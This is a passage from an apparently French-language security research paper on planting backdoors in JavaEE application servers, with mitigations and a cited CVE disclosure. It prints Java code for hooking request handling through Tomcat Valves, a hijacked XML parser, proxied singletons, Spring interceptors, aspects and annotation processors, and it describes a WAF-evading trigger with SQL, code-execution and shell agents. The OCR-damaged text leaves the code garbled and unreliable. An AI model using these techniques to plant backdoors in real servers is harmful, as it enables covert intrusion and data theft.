replace(rsquorsquorsquorsquo)+properties))
Inject code here
394 Porte derobee dans les serveurs drsquoapplications JavaEE
De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava
Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non
Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
Object run()
ResourceBundlegetBundle(innocent)
getString(key) Oups
return null
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins
Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee
Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation
ltcontextcomponent -scan base -package=orgmonprojetgt
Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte
P Prados 395
Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet
Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications
En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms
Fig 4 Repartition des classes dans Tomcat 5
Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles
La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu
396 Porte derobee dans les serveurs drsquoapplications JavaEE
Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active
24 Les techniques drsquoinjections
Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte
Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes
Fig 5 Point drsquoinsertions
Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution
ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation
P Prados 397
Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication
Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier
Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web
ltfilter gt
ltfilter -namegtMacaron ltfilter -namegt
ltfilter -class gtMacaronFilter ltfilter -class gt
ltfilter gt
ltfilter -mapping gt
ltfilter -namegtMacaron ltfilter -namegt
lturl -pattern gtlturl -pattern gt
ltfilter -mapping gt
Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications
Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas
Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets
ServletContextaddFilter ()
De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml
ltweb -fragment gt
ltfilter gt
3 httpwwwsecurityorgsgcodejspreversehtml
398 Porte derobee dans les serveurs drsquoapplications JavaEE
ltfilter gt
ltweb -fragment gt
Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution
Pour ajouter une valve il faut construire une instance heritant de ValveBase
avant de lrsquoinstaller dans le serveur via une requete JMX
public static void injectValve () throws Exception
final MBeanServer srv=getMBeanServer ()
final Set ltgt valves=srvqueryNames(
new ObjectName(
J2EEServer=none j2eeType=WebModule ) null)
for (Object ivalves)
srvinvoke (( ObjectName)iaddValve
new Object []
new ValveBase ()
public final void invoke(final Request req
final Response resp)
throws IOException ServletException
getNext ()invoke(req resp)
Inject code here
new String []orgapachecatalinaValve)
Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus
Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes
P Prados 399
Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise
Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves
Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase
si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege
Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory
Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework
Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse
Le code suivant est un extrait de cette implementation
public class SAXParserFactory extends javaxxmlparsersSAXParserFactory
private final
javaxxmlparsersSAXParserFactory next_
protected void hookParse(XMLReader reader
InputSource input)
throws IOException SAXException
Inject code here
readerparse(input)
public SAXParserFactory ()
next_ = nextServices(
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
